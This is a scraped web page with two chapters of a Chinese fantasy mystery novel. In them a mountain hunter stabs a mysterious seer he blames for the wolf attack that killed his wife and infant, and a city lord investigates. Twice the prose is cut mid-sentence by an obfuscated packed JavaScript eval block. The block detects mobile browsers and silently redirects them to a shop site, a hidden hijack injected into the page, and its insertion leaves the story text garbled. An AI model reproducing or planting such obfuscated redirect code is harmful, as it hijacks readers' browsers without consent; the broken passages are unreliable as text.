幸好,那女子向左移了一步,身子这么一偏,手上烛光正正映在来人身上。 那人穿着一身极长的衫袍,全身裹得严严实实的,头顶垂下块半新不旧的粗线麻布,布与衣服连为一体,有点像风帽,恰好把他整张脸盖住。 显然,这女子也被他的怪异打扮吓了一跳。又见他身上挂着重重的珠串,那珠串极长,在脖子上绕了一圈,尾端之处又被他捏在手里,一时看不清究竟是什么东西。 周盈自己的脑识里蹦出一个名字——擅罪者。 在骡马大会遇到的那个算命神棍。 女子略一迟疑,问道:“大师,有什么事吗?” 显然,因为他手上的珠串,女子误将他看成佛弟子。 擅罪者道:“不敢当,只是路过这里,想讨口水喝。” 女子见他语气温吞,又确定他身上没带兵器才放他进来。 这时,忽又传来一声:“夫人,外面是谁?”是个男子的声音。 话音刚落,内屋的帘子便被掀开了。 那只手皮肤黝黑,指头上还有刀疤,可想而知,这双手的主人必然经常舞刀弄枪。 从屋里走出个高个男人,约三十多岁,个子极高,身材粗壮,腰间缝了块兽皮。兽皮颜色发暗,有些灰扑扑的,应该有些年头。 女子道:“枫哥,大师路过,进来歇息歇息。”又对擅罪者道,“这是外子。” 周盈听见他们称呼,便知住在屋里的一男一女是对夫妻。只是这是老者的记忆,难道这女子口中的“枫哥”就是这老者? 如此一来,这女子就不可能是商音竹,商音竹的丈夫是戴眉山。 男人走到炉子前,扯出张椅子,请擅罪者坐下。又去取了个大茶盏,倒茶递给他。 周盈注意到墙边放着几样铁器、大网,再联系刚刚看到的,推测这人应该是山中猎户。 女子又从屋内捧出个大海碗,并一双木筷,往炉子上一放,才进去内屋。 猎户道:“大师,粗茶淡饭,姑且用些。” 擅罪者取了茶,道了谢,问道:“阁下怎么称呼?” “严枫,枫叶的枫。” 见擅罪者喝了茶,又道:“大师在何处宝刹修行,法号怎地称呼?” 擅罪者一只手捏着珠串,缓缓放下茶盏,道:“严兄误会,我只是江湖浪客,并不曾出家。” 严枫脸上有些尴尬,随即拱手笑道:“抱歉,是我先入为主,兄台怎么称呼?” “擅罪者。” 严枫搔搔头,显然被他怪异的名号弄昏了头。又道:“兄台怎大晚上还要行路,要往哪里去。”诚恳道,“我在这里生活多年,大路小路都识得清楚,兄台要去哪里,抄了近路,也可少费些脚力。” 擅罪者道:“若往会稽城,走哪条路方便?”擅罪者声音温吞,不似之前遇到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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严枫立即起身,抱歉道:“小儿哭闹,我去看看。”说着,便掀开帘子,进入屋子。不久就传来他夫妻二人哄孩子的声音。孩子的哭声也渐渐停了下来。接着,又听见屋中一阵低语,严枫便抱着孩子走了出来。 那孩子一岁未满,身形却很壮实,比顾奇缘大了好几圈。 为了哄孩子,严枫也不坐,在屋中小步慢踱,随口道:“兄台可是有什么急事?” “听说会稽城里有个耆老会,五年一次,很是热闹,我想去看一看。”一边说,一边拿眼睛看那孩子。 孩子身上穿了件灰色杂黄毛的皮袄,毛皮油光发亮,应是狼皮。 “耆老会,嗨,还有十二天呢。”严枫亲了口孩子,神情甚是怜爱。 耆老会是会稽城特有的盛会,时间比重阳节早上半个月,五年才举行一次,一旦撞上,往往比重阳隆重。看热闹谁都可以来看,参会的就必须是八十以上的老人。 但人到八十,除了那些个修行命长的,寻常百姓,今年参加一次,五年后能不能参加还是未知数。有些死的不巧的,一辈子都赶不上一次。 所以耆老会最开始又叫悼老会,后来嫌名字不吉利,便改叫耆老会。 参与者常是周围的一些老人,毕竟远些的老人,即使符合条件,身子骨也挺不住,搞不好回去就得办葬礼。 不过,耆老会参加的人少,凑热闹的人却多。一到这个时候,会稽城里都被围得水泄不通的,热闹得紧。年轻人跑来见见老寿星,除开听些陈年旧事、增长见闻,也有沾福气的意思在。 擅罪者看严枫逗孩子玩,沉默半响,突然捂住了左眼。 严枫连忙去瞧他眼睛,急道:“好端端的,这是咋了?” 擅罪者摇摇头:“老毛病了,不碍事。”又道,“严兄可想过搬到城里面住?” 严枫道:“我靠打猎为生。”又指了指墙角的猎具,“吃饭的家伙,离不开。” 擅罪者想了想,道:“此儿新生于世,若染血腥,一旦反噬,恐易生意外。” 见他又要说,严枫呵然打断:“猎户人家,刀上手上早沾了鲜血,不劳兄台挂碍。” 擅罪者略一沉默,似轻叹一声,最后起身郑重行了个礼,才起身告别。 他往山上看了一眼,紧紧握住珠链的手猛地一松,一道孤影倏然消失在山道上。 茅屋的火光也慢慢暗了下去。 41. 苍山雪(五) 离开酒馆,戴眉山依着酒馆掌柜所说往河边查探。 似乎因为耆老会将近,会稽城行人渐多,拖家带口、游湖赏景的亦不少。见生意上门,大大小小商贩横街而过,叫卖之声此起彼伏,城中一派欣荣景象。 戴眉山沿河走过一段路后,便遇到巡查仆人折返而来。 众人一看到他便拥了上来。戴眉山嫌太过张扬,屏退余人,只留下个小厮询问。 小厮摇头晃脑地说:“府君,我们沿河两岸找了一路,都没见到异常,要是再走,就得出城了。” 戴眉山略一沉思,吩咐道:“你去府中再调二十人马沿下游探查。”又指了两人,将“你们在城门口守着,若见到人,不必阻挠,即刻禀告。” 霍廉自小望着戴眉山长大,戴眉山视他如长如亲,双亲过世后,戴府更由他一手打理。老府君在时,时常教导戴眉山读万卷书不如行万里路,原想等耆老会过后,便将戴府托霍廉管照,他也出门见见外面天地。 没想到突然接到死讯。 生老病死本是人之常情,戴眉山亲眼见过许多次,本应视若平常。但就像酒馆掌柜说的,这事太不寻常了。 人可以死,但不能枉死,更不能死得这样不明不白。 至于耆老会,城中有此异动,耆老会恐也无法如常举行,想着,好似有块大石重重压在心上。 今天是个难得的逢晴日,河中传来琅琅歌声,游船如云,笑声不断。戴眉山抬头看了两眼,心中沉闷非但没有驱散,反而更加郁结,又想到方才应允之事,于是匆匆回府。 画面就消失在戴眉山赶挥戴府的路上。 周盈脑识突现一块空白,不远处,“赤狐”不耐烦地扯了扯红线,看来是赦心铃又出现了问题。周盈趁机空出脑子,乱七八糟一阵思索。 传闻商音竹与戴眉山一见钟情,结为夫妻,那么他们相识的契机会是什么? 为何后来戴眉山受擒她却一直不肯出现? 疑惑之际,自我意识在一片空白中不断回溯。只见会稽城中几条长河纵横交错,水面波光粼粼,桥上游人如织,白日高高悬于头顶,道道暖阳直射河面,格外刺目。 周盈突地打了个灵激,盗指玄冥插手过会稽城之事,那么,罗刹海其他人呢! 莱山罗罗、玉京子,还有……她瞟了门外的“赤狐”一眼,这些人在当年的事情中都扮演了什么角色? 莫非霍廉是在河边遇见了莱山罗罗,不幸被生夺魂魄,魂体分离,肉躯遇阳则散,才落得死不见尸的下场? 难道……难道罗刹海已经对会稽城下手?! 她想明白这点,与海若渊一个对视,在他手上迅速写下“恶鬼”两个字。 海若渊点点头,又在手心写了三个字,周盈看得分明,他写的正是“罗刹海”。 恶鬼的征兆早已经浮现,只是红尘喧嚣,这点微末苗头在当时根本不足以引起众人关注。如此看来,世界上不晓得有多少人像霍廉一样死得不明不白,落得连尸体都找不到的下场。 这一年是最后一次耆老会,耆老会结束的第三个月,便是“七日围城”。也就是在这一年年末,初代公室预言的恶鬼光明正大在世人面前出现。 之后,便是民不聊生,饿殍遍野,死尸成山…… 脑中传来一阵剧痛,周盈揉了揉发胀的太阳穴。 忽然,严枫轻轻叫了一声,脸上露出不安的表情。 目前来看,他只在山上出现过一次,为何能知晓擅罪者和戴眉山的事情? 一举一动,又如此真实,好似亲身经历一般。 周盈心思浮动,隐隐察觉不对劲。然而不待她细想,一处府邸浮现脑海,是戴府! 但画面接续的不是戴眉山,而是已经入住戴府的擅罪者。 这个人来路不明,出言惊世骇俗,与他相关的事又太过玄奇,周盈当即撇开各种杂思,全心全意感知追命火传递的画面。 擅罪者一双眼睛依旧蒙上黑布。然而,不管是在骡马大会偶然相遇,还是通过赦心铃所见所闻,都可以肯定他绝对不是盲人。那么,他这个举动就十分耐人寻味。 双眼无法视物,行动亦受阻碍,擅罪者住的厢房离后园最近,出了厢房,他便攀着扶手,沿着墙垣缓缓而行。 走了一阵,身后突来阵急踏的脚步声,擅罪者随之停下动作,朝着声音来处缓缓转过身。 来的是戴府的小厮,奇道:“先生怎不在房里面歇息?” 擅罪者道:“房里太闷,也睡不着,想出来走走。”又道,“这里是什么地方?” 小厮以为面前人是个盲人,便道:“这是府君的海棠园,还没到开花的时候,并不好看。” 说着,暗暗摇摇头。意思是景色再好,你也看不见。 “难怪我听到有水声。”擅罪者站稳身子,对小厮道,“你不用管我,我只想慢慢走,许久没这样安宁了。”话中竟带着几分惬意。 小厮觉得这人古怪,料他也闹不出什么事,便不再与他啰嗦,自行告退。 擅罪者听见脚步声远去,靠在墙边,盘腿坐下。 秋日的海棠园,海棠花还没开,但园中多栽种常青树,并不萧条。墙上映着一片火红,是染了秋色的爬藤。不时来阵风,枝枝叶叶频频点头,热闹之余,又似有无限惬意。 擅罪者这一歇息就是许久,似乎真的在感受寸土宁静。 不多时,一阵狂风刮进海棠园,未发的海棠枝条应风而动,簌簌作响。 风声渐止,擅罪者缓缓起身,似要朝来时旧路返回。忽地,他回过头,面向无人的海棠园,道了声:“你看到了吗?” 不止周盈,海若渊面露讶异之色,暗暗奇道:“对着空无一人的海棠园他在说什么?” “赤狐”则被吓得身体一缩,嘀咕道:“见鬼!” 这声“见鬼”还没说完,周盈差点儿惊呼出声。 因为擅罪者才走出两步,墙后面竟翻下个人。那人从后面抱住擅罪者,手里握了把明晃晃的钢刀,对着擅罪者,不由分说便是一顿乱戳。 那人来得太快,别说是蒙着眼睛的擅罪者,就连周盈、海若渊、“赤狐”都没注意到他是什么时候来的。回过神时,只见他发了狠地一刀一刀捅向擅罪者心肺,擅罪者胸前立刻被血淋淋染红了一片,继而口中冒出血沫,半天吭不出声,挺直身体,硬邦邦倒了下去。 跌倒瞬间,左手一松,赦心子铃磕碰出一记闷响。 那凶手却不逃跑,把刀一丢,双脚一软,绝望地倒在地上。 这时周盈才看见他的模样,竟是严枫! 入园处跑来四五个人,见到这种情景,顿时响起一声尖叫,宁静的院子里顷刻之间乱作一团。 众人压根儿没想到有人胆子这么大,竟敢入戴府行凶!被捅之人整个上身都被鲜血浸透,十分吓人。一时间,竟然无人敢上前施救。 正鸡飞狗跳着,一人高声叫道:“府君来了!” 戴眉山疾步走上,看见喷了一墙的血,又见倒在血泊中不省人事的擅罪者和被众人制住的严枫,脸色大变。 忙道:“快去广济堂请郎中。” 府丁勉强捡回意识,神色凄凄道:“府君,现在已经过了申时,医馆门早关了。” “多带两个人,骑马,把大夫绑回来。”戴眉山心里乱作一团,略略镇定,吩咐道,“把人看好,一会儿我要亲自查问。” 说完,见到擅罪者嘴巴微微张闭,似还有气,又见他胸前一片殷红,不由得心悸。正想喊人抬头进屋,忽地瞄到他念珠下坠着的铃铛,脸色骤变。 天晚后,人烟渐渐散去,大街小巷,一片无声。 不出一刻,广济堂郎中便被架进了戴府。 会稽城属三不管之地,虽然富庶,寻常人却不敢久留。又是座孤城,下黑后鸡鸣狗盗的事情常有发生,杀人越货的事也不在少数。孙大夫正如往常一样关门打烊,忽然冲出一伙人不由分说就把他劫走。 在马背上一阵飞驰,骨头几乎抖得散架,因此他一下马便闭着眼止不住哼叫。 这时跑上个小厮,往他手里塞了不知什么东西。他拉开半边眼睛缝一看,金灿灿、黄澄澄,摸着硬邦邦,掂掂压手心,居然是枚掌心大小的金子!孙大夫瞬间喜笑颜开,精神亦抖擞起来。 戴眉山道:“人命关天,劳烦大夫了。” 孙大夫这才正了色,疾步走入屋内,只见个血人倒在床上,是死是活,一时竟看不出。 他伸出右手,食指并中指往那人脖颈上一探,这才松了口气。 擅罪者胸口衣料被尖刀划得稀碎,他拨开胸口碎布一看,密密麻麻,足足捅了三十几刀。孙大夫看得头皮发麻,面色一沉:“是谁下这样狠手?”手指颤抖不已,“有好几刀插进了腑脏。” 一旁小厮走上来道:“是山上猎户,名字叫严枫。” “什么仇怨,非得下这种狠手,断人生路不算,还故意折磨!”他说得唾沫横飞,显然已经动了气。 小厮一时语塞,戴眉山道:“孙大夫,救人宜早不宜晚,耽搁不得,人已经拿下,此事稍后再说。” “救人?”孙大夫对着床上一指,“捅成这样还救得了吗?” 戴眉山一怔,喃喃道:“真的救不了了?” 孙大夫走上前,神色凝重:“救不救得了另说,救不救却是我可以管的。” 说罢,口中迅速念出一串药材和所需器具。戴眉山记忆极佳,听一遍便记得一分不差,转头吩咐府中仆人准备东西。 孙大夫听了一阵,胡乱点点头,将人轰了出去。 戴眉山在厢房前左等右等,见奴仆进进出出,端进清水,抬出血水,甚是心惊。抬脚走上前两步,想了想,又不好去妨碍大夫手脚,到底也没进去打扰。 又想到当时严枫神情怪异,便嘱咐人在外面等候,等治疗结束及时报信,便独自走去拘禁之处。 看罢,周盈不觉看了看老者,心想,这便是他第一次与戴眉山见面。 戴府虽大,却未单独设下牢房,将严枫制服后,也只挑了间僻静的卧房把他单独关住。 戴眉山方靠近,便听见屋内一阵闹动,声音不大,不一会儿也渐渐停止。 他唤来看守府丁,低声探问里面情况。 小厮道:“他一会儿安静,一会儿发疯,静一阵闹一阵的,很是折腾。” 想了想,又说:“搞不好脑子有点毛病。” 说完,屋内果然又响起一阵骚动,并且伴随着噼里啪啦砸东西的声音。 戴眉山道:“开门,我进去看看。” 小厮道:“府君小心,这人气力大得很。” 戴眉山想了想,制止了他要开门的动作,把人拉到一边,又问:“我记得他是城外山上的猎户,你可熟悉他,说来与我听听。” 小厮把严枫情况大致说一说,临了又添一句:“看他不像这般心狠手辣的人,许是撞了鬼才变成这样。” 戴眉山听到他嘀咕,心中有了计较,听到屋里安静下来,这才让他打开了门。 一进门,屋内果然被砸得乱七八糟。严枫双腿双脚都被牢牢捆着,听见开门声,嚯地又站了起来。 他闹腾许久,力气疲软,这下又起得急,一时间站得不稳,高大身子摇摇欲坠。 戴眉山见状,伸手扶住他,把他带到椅子上坐着。可严枫面露凶光,脑袋一甩,胡乱撞开椅子,又滚到地上。 戴眉山索性蹲着,等他发作好,稍微镇定,才道:“你为何要闯入府中杀人?” 严枫一下滚到他身边,仰起脑袋,双眼带泪,冲他喊道:“那狗日的死了吧!” “死了没,你说!” 戴眉山顿了顿,微微点头:“已经回天乏术了。” 周盈听着,只觉得他这话说得十分巧妙。严枫行凶,必然与擅罪者有深仇大恨,若告诉他人还没死,他必然不甘心又要大吵大闹。倘若知道自己找人救他,那便不好问了。但说人死了,又实在违背本心,更有故意欺骗之意。 因此,只说“回天乏术”,不直言死,也不算撒谎骗人。 果然,听到“回天乏术”四字后,严枫怔了怔,也不再闹事。 戴眉山也不忙发问,只在一旁观察他神色。 严枫“咯咯”干笑两声,脸上却无畅快得意之色。静默片刻,问了声“真的死了吗?”戴眉山不答话。 喉咙抽噎两声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16796374|190652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,严枫竟不管不顾放声大哭。 戴眉山也不安慰他,等他哭够了,才去扶正椅子,搀他上座。 戴眉山道:“所以你为什么杀他?” 严枫变了脸色,情绪激昂,撞上桌子,吼道:“我才要问他为何杀我妻儿!” “我的妻子,我的孩子,我们过得好好的,他为什么要跑来搞鬼!” “搞你妈搞,害谁不好,为什么要害我一家!” 严枫骂得面红耳赤,喉咙嘶哑。 戴眉山道:“什么时候?” “今天早上!” 戴眉山闻言一惊,城外离这里还有好长一段路,一来一回也要花好几个时辰,而且擅罪者早上分明在自己府上。他觉得此事古怪,心中思量一番,面上却不露半分异状。 “今日我家也有人遇难,遗体至今未寻回。”戴眉山顺着他心思说下去,“听人说,死前也见到了他。” 严枫恨恨道:“这人果真是个祸害,亏得他披了身和尚皮!” 戴眉山见他话头稍缓,知可以问下去,便道:“只是我那管家生不见人死不见尸,连身后事也无法周全。” 他说这话本带着真心实意,严枫听了,更有共鸣,当即大恸道:“我妻儿受他害……也好不过哪里去。”情到深处,又淌出两行热泪。 戴眉山道:“我府中人死得不明不白,至今查不到真相,严兄不如把事说与我听,待真相水落石出,公之于众,也能告慰死者在天之灵。” 严枫点点,当即把擅罪者如何深夜叩门,又如何问路,再到后来口出不详话语之事一一说来。 戴眉山仔细听来,觉得其中虽有不合常理之处,却也不足以定人死罪。然而,直到他提及怀中孩子身穿新制皮毛小袄,才终于察觉异样。 昨夜在酒馆外,擅罪者也曾告诫霍廉不可在河边行走。 前后一联想,戴眉山脸色微变。严枫浑然不觉,继续道:“他走后,我也没当个真。”话语之中,却有无限懊悔。 “第二日我照常带了猎具往山中寻猎,天一冷,山里野兽少出来活动,我比平时多走出两里路也一无所获。” “想到孩子每每日中都要哭闹,我便赶了回去。”说着,他抹把眼泪,然而眼泪如断线的珠子,怎么也止不住,边哭边说,“你不知道,这孩子一哭他娘哄不好,我一抱着他就不哭了。” “我就想,家里存粮也多,足够过冬了。等开春了,孩子大些,想必也不会这样哭闹,到时候我再好好出去打猎……”严枫泣不成声,“没想到……我一回去,就……就迟了这两里路……” 戴眉山道:“是他亲自动手的?” “他敢!”严枫止了眼泪,“他有胆子害人,没胆子动手。” 他吼道:“我妻子孩子是被狼咬死的。” 戴眉山心中有了六分把握。 严枫身子一挺,任由脑袋在椅子上砸出一阵响声,言语更显疯狂:“他害我妻儿,我就要他狗命,哈哈哈哈……他死了,我一路撞下山,知道他要来这里……哈哈哈哈………活该他死在我手上!” 他边骂边笑,大喊大叫:“他死了活该,可为什么要带上我妻子!带上我孩子!我………呜呜呜呜………他们也死了……死了……他死了有什么用!他死活又关我什么事!呜呜呜………” 严枫哭得接不上气,一下子滚到地上,戴眉山要去扶,却怎么也拉不起来。 云顶峰之上,严枫脸上透出不安,似乎这段痛彻心扉的往事让他到老也无法安宁。 “有些事情或许忘了还要好些。”周盈心想。 画面中,戴眉山起身,走出房门。 “人怎样了?”戴眉山关上身后房门,低声问道。 小厮道:“霍管家家里来人了。” 画面一转,已到了早上的偏厅。 下面坐着一人,周盈瞪大了眼睛,听他道:“小人霍安,见过府君。” 霍安! 他怎么会掺和到当年的事情里? 周盈心里猛然闪出个念头,霍安既是当年亲历者之一,如今暴死云顶峰,只怕也与当年的事情脱不开干系。 一前一后,相隔百年,霍安样貌竟没什么变化,唯有神色间少了几分倨傲与残忍。 戴眉山道:“你与霍管家同姓,是他……” 霍安忙道:“我是他侄儿。”看着戴眉山神色平静,又道,“叔母走的那年,我和父亲来过这里,府君当时还小,想必记不得了。” 霍廉第一个妻子去世时戴眉山还没出世,知他口中说的“叔母”必是霍廉第二个妻子,也就是自己唤邓姨的。 当时霍家的确有人来吊丧,里面似乎真有个人叫霍安的。 眉山心中愧疚,如实道:“霍叔前夜不幸离世了。” 霍安瞪大了眼睛,“啊”了一声,追问道:“究竟发生了什么意外?” 戴眉山道:“应是失足落水。”他面有愧色,不知要如何向死者家属交代,迟疑一阵,方道,“遗体随水而流,还未打捞到。” 霍安一脸震惊,半晌说不出话。 戴眉山承诺道:“请放心,我已遣人沿河寻找,也许还能找到……遗体。” 霍安当即面露痛色,长叹一声:“多谢府君。” 酝酿片刻,才缓缓道:“叔叔回家没待半月就急着回来,家里人一问,原来是他心系耆老会。他说府君才接掌基业没多久,等府君有了夫人,他便可安心告老还乡,下次耆老会也不用他多嘴了。” 戴眉山听到这话,更是愧疚。 霍安道:“耆老会可还如期举行?” 会稽城中接连发生怪事,耆老会牵动又广,若事情未查清,为避免殃及无辜自然停办。但现在真相渐渐清晰——霍廉是酒后失足溺亡,猎户一家也是遭野兽袭击遇害。 只是擅罪者之事还混沌两端,难分难解。是以,戴眉山只是摇摇头,并未给出明确答复。 戴眉山心道:“严枫着急下山为妻儿报仇,恐连尸骨也还没来得及收殓。他妻儿之死虽可据理推论,但非亲眼看见,终究没个定数。” 想到这里,当即去找孙大夫探问情况。 一问才知,擅罪者已经转醒。 42. 苍山雪(六) 确定人意识还算清醒,戴眉山坐到榻前,开口便问:“你可知严枫为何要杀你?” 闻言,孙大夫冲过来大声呵斥:“被人捅了还要知道为什么,算他倒霉好不好!”又瞥了擅罪者一眼,“他肺被捅穿了,说不了话。” 戴眉山面露歉意,比划一阵:“我问,你说不了就眨眼代替,好吗?” 擅罪者闭上眼睛,又缓慢睁开,代表他同意了。 戴眉山问:“严枫杀你,是因为你昨晚说的话?” 擅罪者闭眼,睁眼。 “你眼睛未盲,原本就看得见东西?” 擅罪者重复刚才的动作。 “所以,你真的能看见别人的生死,对吗?” 擅罪者犹豫了一下,还是阖上了眼睛。 早上与擅罪者的对话犹然在耳,如今回想起来却是另一番心境。 戴眉山继续道:“你蒙上眼睛,是因为你一旦睁开眼睛就会看见别人的死讯。昨晚你在酒馆前看到霍叔,知道他靠近河边就会有危险,于是出言提醒?” 擅罪者将闭眼睁眼的动作重复两次。 戴眉山叹口气:“你遭此厄运却是出于善心提醒,我替霍叔多谢你。” 说罢,站起身,朝擅罪者长揖作礼。 “严枫妻儿尸身还没收埋,我现在就去山上走一趟,如果事情确实无疑——”戴眉山认真地说,“我答应你的不会改变,耆老会也会如期举行。” 孙大夫见他要走,直摇头:“耆老会就算开得起,他也去不得,人多,万一挤着了,中途出什么岔子,可就危险了。” 戴眉山道:“尽人事而已。” 孙大夫笑了:“你怎不说出下一句?” “人事未尽,怎望苍天。” 孙大夫拍了他一下:“说得不错。”又凑到擅罪者面前,好奇道,“你真能提前判知生死,不如替我看看。” 擅罪者嘴巴微微张起,孙大夫连忙捂住他的嘴。“你还是别说了,说了,不是你死,就是我死,怪不吉利。” “这人啊,着急知道自己死期有什么意思?”他摇着脑袋,好像说给擅罪者,又好像在自言自语,“提心吊胆苟活,还不如现在一头撞死。” 须臾,忽然一笑:“你看见别人,能看得见自己吗?” 你知道今天自己会挨上这几刀吗? 擅罪者阖上眼,再不说话。 * 戴眉山吩咐家丁严守房门,自己带了五名护卫,策马离开。 是夜,会稽城外星坠如雨,狂风大作,急驰的马匹在空旷街上荡起回响。 虽未设宵禁,街上却连个人影都没有,白日热闹非凡的会稽城,入夜后只余萧条一片。 戴眉山趁夜疾行,驾着马,约半个时辰就走到了山脚,一个认路的侍卫在前面带路。 入山后只有个隘口可以供马通行,隘口连接着一条通往山顶的分岔小路。入秋后,夜里露气很重,火把一照,便可见到附在野草上的白霜。 路两边时不时见到稀星的树,树叶衰败,平白落下许多。然而,路边却扎满了半人高的野草,影影绰绰,随风荡漾,一行人经过时,正立于夜风中簌簌作响。 约走了不到两刻,前面带路的侍卫下马禀报:“府君,到了。” 戴眉山下了马,走近一瞧,果然见到间屋子。屋门冲来人大大敞开,略显诡异。 戴眉山携着火把率先进入,火光落处,隐约照见个女子躯体。那身体扭曲得不成样子,一颗头胡乱歪在炉子边上,可怕又可怜。 后面侍卫正要进屋,忽然来阵阴风,呼呼刮灭了两个火把。 侍卫们被吓得一阵鬼哭狼嚎。 戴眉山生平第一次见到人惨死面前,虽然早已做了心理准备,虽然只见到个扭曲的背影孤零零睡在地下,亦不免心怵,对死人的恐惧一时压过了悲悯之心。 然而,戴府护卫比他还胆小,被阴风一吓唬,居然抱成一团,不敢进屋。 戴眉山只好壮了壮胆,强忍惧意,将火把凑近地上女子。 火光一照,女子一双圆眼大大睁着,脸上布满啃咬痕迹,身体更是惨不忍睹。衣服自手臂处被活活撕开,尖牙刮过,大臂被带下好大一块肉。若再往上看,便会发现肩膀处皮肉掀飞,已露出森森白骨! 然而,即使被这样折磨,女子始终未曾松手,因为还有个小小的身体缩在她怀中。 不过,那已经不能称之为人,孩子只剩一个躯体,脑袋不知道去了什么地方。 严枫开门看到的便是这幅场景,不疯都是万幸。 戴眉山捂着眼睛又多看了两眼,确定孩子身上穿的衣服是狼皮所制。然后,快步走出屋子,冲到门槛时,猛地一弯腰,哇地一下吐在屋角。 侍卫纷纷上前关心。 戴眉山摆了摆手:“无事。” 他靠着墙缓了一会儿,听见侍卫聚在一旁低声议论。严枫妻儿遭遇虽还没在会稽城中传开,但戴府上下知道的人却是不少。其余不知道真相的,以讹传讹,也不知道会说出些什么。 戴眉山当即正了色,厉声道:“此事不准到处乱说,如果让我知道……”他顿了顿,说,“不要怪我扣你们银子。” 难得见到戴眉山这样发火,众人心虚地对视一眼,当即散开。 须臾,一人道:“府君,尸体是找地方埋了还是……” 离开城门之时,会稽城中大大小小门户已闭,路上一来一回,必然要耽搁些时候。等回到城中,只怕天也亮了。青天白日,带着两具残尸招摇过市,只怕会引起不好传言。但若把尸体抛在这里,保不齐什么时候就会被野兽叼走。 戴眉山摇摇头,道:“把人带回去,明日天亮找铺子安置遗体。” 众人你看我,我看你,犯了难。 他们毕竟只是普通护院家丁,杀鸡宰牛,拖走个别醉鬼自然手到擒来,拖带尸体这种事情却从没做过。何况屋里母子死相又这样凄惨,他们连看也不敢多看一眼,若让他们一路带回城里,万一沾上什么不好的东西,晚上睡觉,眼睛一闭,只怕要做噩梦。 于是,戴眉山说完话,居然没一人动作。 将呕吐之感压下,戴眉山进了内屋,扯出块床单。他把床单铺到地上,对尸体拜了三拜,才俯身下蹲,将女子并她怀中婴儿抱到床单上。 众人对视一阵,也不知谁领头,竟然有样学样,对死者尸身拜了三拜,并且走进内屋,捧了床棉被出来。 “府君,用这个再裹一层,放在马上时,也好避免磕碰。” 戴眉山点点头,床单一裹,将女子身体遮住。等他要将人抱到棉被上时,床单忽然一滑,刚好露出女子僵硬的膝盖。 狼来时只啃咬了上身,腿部以下却是完好。火光一照,可以看见她膝盖处裹了一层厚厚的皮毛,所用质料与孩子身上衣物一样,皆是狼皮。 戴眉山愣了一下,不明白这意味着什么。 倒是一个稍微年长的侍卫颇有经验,低声道:“看着孩子身形,估计刚落地没几个月。妇人生了孩子,容易留下些病根儿,穿上护膝应该怕她膝盖受凉,老了遭罪。” 众人听了,心里更不是滋味。 马上驮了人,行进速度自然比来时慢上许多。山间路窄,只容许一人一骑单独通过,一行六个人,戴眉山便在第四个。 冷月高悬,夜色不算晦暗,众人举着火把,周身半丈之地清晰可见。走了一阵,苦于行路寂寞,耐不住寂寞,便有一人先起了话头。 一个侍卫道:“发现没,今天城里来了好多人。” 旁边一人随即接话:“没多久就是耆老会,不用问,肯定是奔着耆老会来的。不过来归来,没有拜帖,也就是在外面看个热闹。” 看了看戴眉山,又问:“府君,为什么非得把年龄卡在八十,条件宽一宽,来的人更多,不是更热闹?” 众人早有此疑问,现在听他提出,纷纷应和,七嘴八舌道:“对呀,府君,这是为什么?难道有什么讲究?” 戴眉山连连摇头:“你们可知,耆老会原先还有个名字?” 一人脱口而出:“悼老会。” 戴眉山却摇摇头:“这也是后来的名字,其实一开始是叫告老会。” 乍一听一头雾水,但只要略一思索,也就明白了。告老告老,倒过来就是老告,耆老会不就是几个老头老太太聚在一起,搜肠刮肚聊八卦嘛! 不过,聊八卦不稀奇,稀奇的是说话的人,一堆八九十的活寿星聚在一起那就不是聊八卦、摆龙门,那叫交流人生感悟,顺带给小辈传授传授人生经验! 甭管沾福气、凑热闹,抑或是真心求教,总有一批人乐此不疲地跑来会稽城,总之,口口相传,时至今日,耆老会已然名声在外。 众人皆想:“把年龄一放松,耆老会也不稀奇,若不稀奇,自然没人来凑热闹。” 戴眉山似乎看穿了他们想法,却没再说什么。 此时,只见北面天穹闪过一点星光,横跨整个天际,轻飘飘地划到南边地带。 “快看!” 一人出声惊呼,指着那星子出现的地方。 众人齐目望去,只见山背后的天空陆续升起拇指大的流星,拖着长尾巴,在行进中压成条细线,如急落的水花,眨眼间尽数没入山的另一头。 众人瞪大了眼睛,反应过来:“有流星,快许愿!” “许什么愿!” 一人吼道:“那是扫把星!” “扫把星又如何?” “扫把星百年难见一次,遇到了是要倒大霉的。” 众人一惊:“难怪会稽城中发生此等怪事,一下子就死了三人。”说这话时,他们忽地想起戴眉山呵令,心虚地望了他一眼。 见戴眉山没有出口责骂的意思,又想府君素日温和,从不与他们难堪,才放下心来。 忽然,一人一惊一乍地说:“不好,我们看到了扫把星不是也要倒霉?” 会稽城无宵禁,根本在于城中无修行世家,无法调动护城力量。不过,恰恰就是这个,城中人也渐渐养成天黑后不出门的习惯。现在他们破例出城,又目睹灾星降世,岂不是意味着不久就有灾难加身。 “府君,我们快些回城吧,”一人看向戴眉山,央求道。 其他人也陆续附和着。他们出来为人收尸,可不想哪日自己也横尸山野,等人收尸。 一报还一报,不兴这样报的。 戴眉山略通星象之术,却从不信这些东西。很多人爱发誓,谈情说爱时,动辄山盟海誓。但劈死人的从来不是誓言,而是恶行,一个人遭报应不是因为预言、誓言、诅咒这种虚无缥缈的东西,而是恶行总有揭露之日。 戴眉山稍作安抚,又吩咐他们照看好尸体,便加快行速。 秋风凛冽,钻入山窍后便化为细窄刀片。众人动作一加快,那双握刀的无形之手也不经意加快动作。立时只觉山风扑面而来,细细刮擦双颊,磨得脸上皮肉一阵一阵发疼。 人群中,火把渐渐晦暗。 最前面一人忽叫了一声,众人纷纷歪开脑袋,想看个究竟。 